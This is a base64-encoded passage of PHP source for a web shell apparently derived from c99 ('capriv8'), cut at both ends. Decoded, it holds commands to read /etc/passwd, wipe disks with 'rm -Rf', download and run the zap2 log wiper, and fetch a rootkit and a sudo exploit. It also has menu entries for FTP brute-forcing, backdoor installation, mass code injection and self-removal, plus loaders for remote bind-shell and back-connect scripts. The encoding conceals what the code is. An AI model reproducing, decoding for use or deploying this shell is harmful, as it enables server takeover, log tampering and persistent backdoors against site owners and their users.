MCAyPiAvZGV2L251bGwiKSwNCiAgICBhcnJheSgiVXNlciBXaXRob3V0IFBhc3N3b3JkIiwiY3V0IC1kOiAtZjEsMiwzIC9ldGMvcGFzc3dkIHwgZ3JlcCA6OiIpLA0KICAgIGFycmF5KCJDYW4gd3JpdGUgaW4gL2V0Yy8/IiwiZmluZCAvZXRjLyAtdHlwZSBmIC1wZXJtIC1vK3cgMj4gL2Rldi9udWxsIiksDQogICAgYXJyYXkoIkRvd25sb2FkZXJzPyIsIndoaWNoIHdnZXQgY3VybCB3M20gbHlueCBmZXRjaCBsd3AtZG93bmxvYWQiKSwNCiAgICBhcnJheSgiQ1BVIEluZm8iLCJjYXQgL3Byb2MvdmVyc2lvbiAvcHJvYy9jcHVpbmZvIiksDQogICAgYXJyYXkoIklzIGdjYyBpbnN0YWxsZWQgPyIsImxvY2F0ZSBnY2MiKSwNCiAgICBhcnJheSgiRm9ybWF0IGJveCAoREFOR0VST1VTKSIsInJtIC1SZiIpLA0KICAgIGFycmF5KCItLS0tLSIsIiIpLA0KICAgIGFycmF5KCJ3Z2V0IFdJUEVMT0dTIFBUMSIsIndnZXQgaHR0cDovL3d3dy5wYWNrZXRzdG9ybXNlY3VyaXR5Lm9yZy9VTklYL3BlbmV0cmF0aW9uL2xvZy13aXBlcnMvemFwMi5jIiksDQogICAgYXJyYXkoImdjYyBXSVBFTE9HUyBQVDIiLCJnY2MgemFwMi5jIC1vIHphcDIiKSwNCiAgICBhcnJheSgiUnVuIFdJUEVMT0dTIFBUMyIsIi4vemFwMiIpLA0KICAgIGFycmF5KCItLS0tLSIsIiIpLA0KICAgIGFycmF5KCJ3Z2V0IFJhdEhvbGUgMS4yIChMaW51eCAmIEJTRCkiLCJ3Z2V0IGh0dHA6Ly9wYWNrZXRzdG9ybXNlY3VyaXR5Lm9yZy9VTklYL3BlbmV0cmF0aW9uL3Jvb3RraXRzL3JhdGhvbGUtMS4yLnRhci5neiIpLA0KICAgIGFycmF5KCJ3Z2V0IFN1ZG8gRXhwbG9pdCIsIndnZXQgaHR0cDovL3d3dy5zZWN1cml0eWZvY3VzLmNvbS9kYXRhL3Z1bG5lcmFiaWxpdGllcy9leHBsb2l0cy9zdWRvLWV4cGxvaXQuYyIpLA0KICApOw0KfQ0KZWxzZSB7DQogICRjbWRhbGlhc2VzID0gYXJyYXkoDQogICAgYXJyYXkoIiIsICJkaXIiKSwNCiAgICBhcnJheSgiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiLCAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIpLA0KICAgIGFycmF5KCJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIsICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiksDQogICAgYXJyYXkoIkZpbmQgcjU3c2hlbGwgaW4gY3VycmVudCBkaXIiLCAiZmluZCAvYyBcInI1N1wiICoiKSwNCiAgICBhcnJheSgiU2hvdyBhY3RpdmUgY29ubmVjdGlvbnMiLCAibmV0c3RhdCAtYW4iKSwNCiAgICBhcnJheSgiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiwgIm5ldCBzdGFydCIpLA0KICAgIGFycmF5KCJVc2VyIGFjY291bnRzIiwgIm5ldCB1c2VyIiksDQogICAgYXJyYXkoIlNob3cgY29tcHV0ZXJzIiwgIm5ldCB2aWV3IiksDQoJYXJyYXkoIlN5c3RlbWluZm8iLCJzeXN0ZW1pbmZvIikgDQogICAgKTsNCn0NCiRwaHBmc2FsaWFzZXMgPSBhcnJheSgNCiAgICBhcnJheSgiUmVhZCBGaWxlIiwgInJlYWQiKSwNCiAgICBhcnJheSgiV3JpdGUgRmlsZSAoUEhQNSkiLCAid3JpdGUiKSwgDQogICAgYXJyYXkoIkNvcHkiLCAiY29weSIpLA0KICAgIGFycmF5KCJSZW5hbWUvTW92ZSIsICJyZW5hbWUiKSwNCiAgICBhcnJheSgiRGVsZXRlIiwgImRlbGV0ZSIpLA0KICAgIGFycmF5KCJNYWtlIERpciIsIm1rZGlyIiksDQogICAgYXJyYXkoIi0tLS0tIiwgIiIpLA0KICAgIGFycmF5KCJEb3dubG9hZCIsICJkb3dubG9hZCIpLA0KICAgIGFycmF5KCJEb3dubG9hZCAoQmluYXJ5IFNhZmUpIiwgImRvd25sb2FkYmluIiksDQogICAgYXJyYXkoIkNoYW5nZSBQZXJtICgwNzU1KSIsICJjaG1vZCIpLA0KICAgIGFycmF5KCJGaW5kIFdyaXRhYmxlIERpciIsICJmd3JpdGFibGVkaXIiKSwNCiAgICBhcnJheSgiRmluZCBQYXRobmFtZSBQYXR0ZXJuIiwgImdsb2IiKSwNCik7DQoNCiRxdWlja2xhdW5jaDIgPSBhcnJheSgNCglhcnJheSgiW0hvbWVdIiwkc3VybC4iPWltZyZpbWc9aG9tZSIpLA0KICAgIGFycmF5KCJbRW51bWVyYXRlXSIsJGVudW1lcmF0ZSksDQoJYXJyYXkoIltTZWFyY2hdIiwkc3VybC4ieD1zZWFyY2giKSwNCiAgICBhcnJheSgiW1NlbGYtS2lsbF0iLCRzdXJsLiJ4PXNlbGZyZW1vdmUiKSwNCiAgICBhcnJheSgiW0Fib3V0XSIsJHN1cmwuIng9YWJvdXQiKQ0KKTsNCiRxdWlja2xhdW5jaDEgPSBhcnJheSgNCglhcnJheSgiW0ZUUCBCdXRlZm9yY2VyXSIsJHN1cmwuIng9ZnRwcXVpY2ticnV0ZSIpLA0KICAgIGFycmF5KCJbU2VjdXJpdHkgSW5mb10iLCRzdXJsLiJ4PXNlY3VyaXR5JmQ9JWQiKSwNCiAgICBhcnJheSgiW1Byb2Nlc3Nlc10iLCRzdXJsLiJ4PXByb2Nlc3NlcyZkPSVkIiksDQogICAgYXJyYXkoIltNeVNRTF0iLCRzdXJsLiJ4PXNxbCZkPSVkIiksDQogICAgYXJyYXkoIltQSFAtQ29kZV0iLCRzdXJsLiJ4PWV2YWwmZD0lZCIpLA0KICAgIGFycmF5KCJbRW5jb2Rlcl0iLCRzdXJsLiJ4PWVuY29kZXImZD0lZCIpLA0KCWFycmF5KCJbQmFja2Rvb3JdIiwkc3VybC4ieD1zaGJkIikNCik7DQokcXVpY2tsYXVuY2gzID0gYXJyYXkoDQoJYXJyYXkoIltQSFAtVG9vbHNdIiwkc3VybC4ieD1waHB0b29scyIpLA0KCWFycmF5KCJbQ3BhbmVsIEZpbmRlcl0iLCRzdXJsLiJ4PWNwYW5lbCIpLA0KICAgIGFycmF5KCdbSW5zdGFsbCBJUDpQb3J0IFByb3h5XScsJHN1cmwuJ3g9cHJveHknKSwNCglhcnJheSgiW0luc3RhbGwgUEhQIFByb3h5XSIsJHN1cmwuIng9cGhwcHJveHkiKSwNCglhcnJheSgiW0luc3RhbGwgUkZJL0xGSSBTY2FubmVyXSIsJHN1cmwuIng9ZmkiKSwNCglhcnJheSgiW01hc3MgQ29kZSBJbmplY3Rpb25dIiwkc3VybC4ieD1tYXNzYnJvd3NlcnNwbG9pdCIpLA0KCWFycmF5KCJbRmluZCBXUiBkaXJgc10iLCRzdXJsLiJ4PWZpbmR3ciIpDQopOw0KDQoNCiRoaWdobGlnaHRfYmFja2dyb3VuZCA9ICIjMDAwMDAwIjsNCiRoaWdobGlnaHRfYmcgPSAid2hpdGUiOw0KJGhpZ2hsaWdodF9jb21tZW50ID0gIiNDQ0NDQ0MiOw0KJGhpZ2hsaWdodF9kZWZhdWx0ID0gIm9yYW5nZSI7DQokaGlnaGxpZ2h0X2h0bWwgPSAibGlnaHRibHVlIjsNCiRoaWdobGlnaHRfa2V5d29yZCA9ICJsaW1lIjsNCiRoaWdobGlnaHRfc3RyaW5nID0gInJlZCI7DQoNCkAkZiA9ICRfUkVRVUVTVFsiZiJdOw0KQGV4dHJhY3QoJF9SRVFVRVNUWyJjYXByaXY4Y29vayJdKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCiR0bXAgPSBhcnJheSgpOw0KZm9yZWFjaCAoJGhvc3RfYWxsb3cgYXMgJGs9PiR2KSB7ICR0bXBbXSA9IHN0cl9yZXBsYWNlKCJcXCoiLCIuKiIscHJlZ19xdW90ZSgkdikpOyB9DQokcyA9ICIhXigiLmltcGxvZGUoInwiLCR0bXApLiIpJCFpIjsNCmlmICghcHJlZ19tYXRjaCgkcyxnZXRlbnYoIlJFTU9URV9BRERSIikpIGFuZCAhcHJlZ19tYXRjaCgkcyxnZXRob3N0YnlhZGRyKGdldGVudigiUkVNT1RFX0FERFIiKSkpKSB7DQogIGV4aXQoIjxhIGhyZWY9XCIkc2hfbWFpbnVybFwiPiRzaF9uYW1lPC9hPjogQWNjZXNzIERlbmllZCAtIFlvdXIgaG9zdCAoIi5nZXRlbnYoIlJFTU9URV9BRERSIikuIikgbm90IGFsbG93ZWQiKTsNCn0NCmlmICghZW1wdHkoJGxvZ2luKSkgew0KICBpZiAoZW1wdHkoJG1kNV9wYXNzKSkgeyRtZDVfcGFzcyA9IG1kNSgkcGFzcyk7fQ0KICBpZiAoKCRfU0VSVkVSWyJQSFBfQVVUSF9VU0VSIl0gIT0gJGxvZ2luKSBvciAobWQ1KCRfU0VSVkVSWyJQSFBfQVVUSF9QVyJdKSAhPSAkbWQ1X3Bhc3MpKSB7DQogICAgaGVhZGVyKCJXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT1cIiIuJHNoX25hbWUuIjogIi4kbG9naW5fdHh0LiJcIiIpOw0KICAgIGhlYWRlcigiSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCIpOw0KICAgIGV4aXQoJGFjY2Vzc2RlbmllZG1lc3MpOw0KICB9DQp9DQppZiAoJHggIT0gImltZyIpIHsNCiAgJGxhc3RkaXIgPSByZWFscGF0aCgiLiIpOw0KICBjaGRpcigkY3VyZGlyKTsNCiAgaWYgKCRzZWxmd3JpdGUpIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICBjYXByaXY4X2dldHVwZGF0ZSgkc2VsZndyaXRlLDEpOw0KICAgIGV4aXQ7DQogIH0NCiAgJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7DQogIGlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9DQogIGlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY29weSJdKSkgeyRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5KCk7fQ0KICBpZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTt9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjYWdldHNvdXJjZSIpKSB7DQogICAgZnVuY3Rpb24gY2FnZXRzb3VyY2UoJGZuKSB7DQogICAgICBnbG9iYWwgJGNhcHJpdjhfc291cmNlc3VybDsNCiAgICAgICRhcnJheSA9IGFycmF5KA0KICAgICAgICAiY2Fwcml2OF9iaW5kcG9ydC5wbCIgPT4gImNhcHJpdjhfYmluZHBvcnRfcGwudHh0IiwNCiAgICAgICAgImNhcHJpdjhfYmluZHBvcnQuYyIgPT4gImNhcHJpdjhfYmluZHBvcnRfYy50eHQiLA0KICAgICAgICAiY2Fwcml2OF9iYWNrY29ubi5wbCIgPT4gImNhcHJpdjhfYmFja2Nvbm5fcGwudHh0IiwNCiAgICAgICAgImNhcHJpdjhfYmFja2Nvbm4uYyIgPT4gImNhcHJpdjhfYmFja2Nvbm5fYy50eHQiLA0KICAgICAgICAiY2Fwcml2OF9kYXRhcGlwZS5wbCIgPT4gImNhcHJpdjhfZGF0YXBpcGVfcGwudHh0IiwNCiAgICAgICAgImNhcHJpdjhfZGF0YXBpcGUuYyIgPT4gImNhcHJpdjhfZGF0YXBpcGVfYy50eHQiLA0KICAgICAgKTsNCiAgICAgICRuYW1lID0gJGFycmF5WyRmbl07DQogICAgICBpZiAoJG5hbWUpIHtyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJGNhcHJpdjhfc291cmNlc3VybC4kbmFtZSk7fQ0KICAgICAgZWxzZSB7cmV0dXJuIEZBTFNFO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImNhX2J1ZmZfcHJlcGFyZSIpKSB7DQogICAgZnVuY3Rpb24gY2FfYnVmZl9wcmVwYXJlKCkgew0KICAgICAgZ2xvYmFsICRzZXNzX2RhdGE7DQogICAgICBnbG9iYWwgJHg7DQogICAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjb3B5Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQ0KICAgICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjdXQiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogICAgICAkc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY29weSJdKTsNCiAgICAgICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImN1dCJdKTsNCiAgICAgIHNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsNCiAgICAgIHNvcnQoJHNlc3NfZGF0YVsiY3V0Il0pOw0KICAgICAgaWYgKCR4ICE9ICJjb3B5Iikge2ZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7aWYgKCRzZXNzX2RhdGFbImNvcHkiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTsgfX19DQogICAgICBlbHNlIHtmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHtpZiAoJHNlc3NfZGF0YVsiY3V0Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTt9fX0NCiAgICB9DQogIH0NCiAgY2FfYnVmZl9wcmVwYXJlKCk7DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjYV9zZXNzX3B1dCIpKSB7DQogICAgZnVuY3Rpb24gY2Ffc2Vzc19wdXQoJGRhdGEpIHsNCiAgICAgIGdsb2JhbCAkc2Vzc19jb29raWU7DQogICAgICBnbG9iYWwgJHNlc3NfZGF0YTsNCiAgICAgIGNhX2J1ZmZfcHJlcGFyZSgpOw0KICAgICAgJHNlc3NfZGF0YSA9ICRkYXRhOw0KICAgICAgJGRhdGEgPSBzZXJpYWxpemUoJGRhdGEpOw0KICAgICAgc2V0Y29va2llKCRzZXNzX2Nvb2tpZSwkZGF0YSk7DQogICAgfQ0KICB9DQogIGZvcmVhY2ggKGFycmF5KCJzb3J0Iiwic3FsX3NvcnQiKSBhcyAkdikgew0KICAgIGlmICghZW1wdHkoJF9HRVRbJHZdKSkgeyQkdiA9ICRfR0VUWyR2XTt9DQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJHZdKSkgeyQkdiA9ICRfUE9TVFskdl07fQ0KICB9DQogIGlmICgkc29ydF9zYXZlKSB7DQogICAgaWYgKCFlbXB0eSgkc29ydCkpIHtzZXRjb29raWUoInNvcnQiLCRzb3J0KTt9DQogICAgaWYgKCFlbXB0eSgkc3FsX3NvcnQpKSB7c2V0Y29va2llKCJzcWxfc29ydCIsJHNxbF9zb3J0KTt9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cjJtaW5pIikpIHsNCiAgICBmdW5jdGlvbiBzdHIybWluaSgkY29udGVudCwkbGVuKSB7DQogICAgICBpZiAoc3RybGVuKCRjb250ZW50KSA+ICRsZW4pIHsNCiAgICAgICAgJGxlbiA9IGNlaWwoJGxlbi8yKSAtIDI7DQogICAgICAgIHJldHVybiBzdWJzdHIoJGNvbnRlbnQsIDAsJGxlbikuIi4uLiIuc3Vic3RyKCRjb250ZW50LC0kbGVuKTsNCiAgICAgIH0gZWxzZSB7cmV0dXJuICRjb250ZW50O30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKSB7DQogICAgZnVuY3Rpb24gdmlld19zaXplKCRzaXplKSB7DQogICAgICBpZiAoIWlzX251bWVyaWMoJHNpemUpKSB7IHJldHVybiBGQUxTRTsgfQ0KICAgICAgZWxzZSB7DQogICAgICAgIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9DQogICAgICAgIGVsc2VpZiAoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7fQ0KICAgICAgICBlbHNlaWYgKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiO30NCiAgICAgICAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KICAgICAgICByZXR1cm4gJHNpemU7DQogICAgICB9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19jb3B5X2RpciIpKSB7DQogICAgZnVuY3Rpb24gZnNfY29weV9kaXIoJGQsJHQpIHsNCiAgICAgICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiAgICAgIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgICAgICRoID0gb3BlbmRpcigkZCk7DQogICAgICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkgew0KICAgICAgICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkgew0KICAgICAgICAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICAgICAgICAgZWxzZSB7JHJldCA9IG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pOyBmc19jb3B5X2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgICAgICAgICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGNsb3NlZGlyKCRoKTsNCiAgICAgIHJldHVybiBUUlVFOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9vYmoiKSkgew0KICAgIGZ1bmN0aW9uIGZzX2NvcHlfb2JqKCRkLCR0KSB7DQogICAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7DQogICAgICBpZiAoIWlzX2RpcihkaXJuYW1lKCR0KSkpIHtta2RpcihkaXJuYW1lKCR0KSk7fQ0KICAgICAgaWYgKGlzX2RpcigkZCkpIHsNCiAgICAgICAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICAgICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIHJldHVybiBmc19jb3B5X2RpcigkZCwkdCk7DQogICAgICB9DQogICAgICBlbHNlaWYgKGlzX2ZpbGUoJGQpKSB7IHJldHVybiBjb3B5KCRkLCR0KTsgfQ0KICAgICAgZWxzZSB7IHJldHVybiBGQUxTRTsgfQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfbW92ZV9kaXIiKSkgew0KICAgIGZ1bmN0aW9uIGZzX21vdmVfZGlyKCRkLCR0KSB7DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgaWYgKCFpc19kaXIoJHQpKSB7bWtkaXIoJHQpO30NCiAgICAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7DQogICAgICAgIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKSB7DQogICAgICAgICAgJHJldCA9IFRSVUU7DQogICAgICAgICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgICAgICAgICBlbHNlIHtpZiAobWtkaXIoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykgYW5kIGZzX2NvcHlfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gRkFMU0U7fX0NCiAgICAgICAgICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGNsb3NlZGlyKCRoKTsNCiAgICAgIHJldHVybiBUUlVFOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfbW92ZV9vYmoiKSkgew0KICAgIGZ1bmN0aW9uIGZzX21vdmVfb2JqKCRkLCR0KSB7DQogICAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7DQogICAgICBpZiAoaXNfZGlyKCRkKSkgew0KICAgICAgICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgICAgICAgcmV0dXJuIGZzX21vdmVfZGlyKCRkLCR0KTsNCiAgICAgIH0NCiAgICAgIGVsc2VpZiAoaXNfZmlsZSgkZCkpIHsNCiAgICAgICAgaWYoY29weSgkZCwkdCkpIHtyZXR1cm4gdW5saW5rKCRkKTt9DQogICAgICAgIGVsc2Uge3VubGluaygkdCk7IHJldHVybiBGQUxTRTt9DQogICAgICB9DQogICAgICBlbHNlIHtyZXR1cm4gRkFMU0U7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1kaXIiKSkgew0KICAgIGZ1bmN0aW9uIGZzX3JtZGlyKCRkKSB7DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHsNCiAgICAgICAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpIHsNCiAgICAgICAgICBpZiAoIWlzX2RpcigkZC4kbykpIHt1bmxpbmsoJGQuJG8pO30NCiAgICAgICAgICBlbHNlIHtmc19ybWRpcigkZC4kby5ESVJFQ1RPUllfU0VQQVJBVE9SKTsgcm1kaXIoJGQuJG8pO30NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgY2xvc2VkaXIoJGgpOw0KICAgICAgcm1kaXIoJGQpOw0KICAgICAgcmV0dXJuICFpc19kaXIoJGQpOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1vYmoiKSkgew0KICAgIGZ1bmN0aW9uIGZzX3Jtb2JqKCRvKSB7DQogICAgICAkbyA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkbyk7DQogICAgICBpZiAoaXNfZGlyKCRvKSkgew0KICAgICAgICBpZiAoc3Vic3RyKCRvLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JG8gLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIHJldHVybiBmc19ybWRpcigkbyk7DQogICAgICB9DQogICAgICBlbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQ0KICAgICAgZWxzZSB7cmV0dXJuIEZBTFNFO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInRhYnNvcnQiKSkgew0KICAgIGZ1bmN0aW9uIHRhYnNvcnQoJGEsJGIpIHtnbG9iYWwgJHY7IHJldHVybiBzdHJuYXRjbXAoJGFbJHZdLCAkYlskdl0pO30NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtcyIpKSB7DQogICAgZnVuY3Rpb24gdmlld19wZXJtcygkbW9kZSkgew0KICAgICAgaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gInMiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAiZCI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICJsIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gIi0iO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAiYiI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICJjIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gInAiO30NCiAgICAgIGVsc2UgeyR0eXBlID0gIj8iO30NCiAgICAgICRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApPyJyIjoiLSI7DQogICAgICAkb3duZXJbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDIwMCk/InciOiItIjsNCiAgICAgICRvd25lclsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAxMDApPyJ4IjoiLSI7DQogICAgICAkZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKT8iciI6Ii0iOw0KICAgICAgJGdyb3VwWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMjApPyJ3IjoiLSI7DQogICAgICAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDEwKT8ieCI6Ii0iOw0KICAgICAgJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCk/InIiOiItIjsNCiAgICAgICR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKT8gInciOiItIjsNCiAgICAgICR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpPyJ4IjoiLSI7DQogICAgICBpZiAoJG1vZGUgJiAweDgwMCkgeyRvd25lclsiZXhlY3V0ZSJdID0gKCRvd25lclsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9DQogICAgICBpZiAoJG1vZGUgJiAweDQwMCkgeyRncm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9DQogICAgICBpZiAoJG1vZGUgJiAweDIwMCkgeyR3b3JsZFsiZXhlY3V0ZSJdID0gKCR3b3JsZFsiZXhlY3V0ZSJdID09ICJ4Iik/InQiOiJUIjt9DQogICAgICByZXR1cm4gJHR5cGUuam9pbigiIiwkb3duZXIpLmpvaW4oIiIsJGdyb3VwKS5qb2luKCIiLCR3b3JsZCk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldHB3dWlkIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHVpZCkge3JldHVybiBGQUxTRTt9fQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRncmdpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2tpbGwiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9raWxsIiwkZGlzYWJsZWZ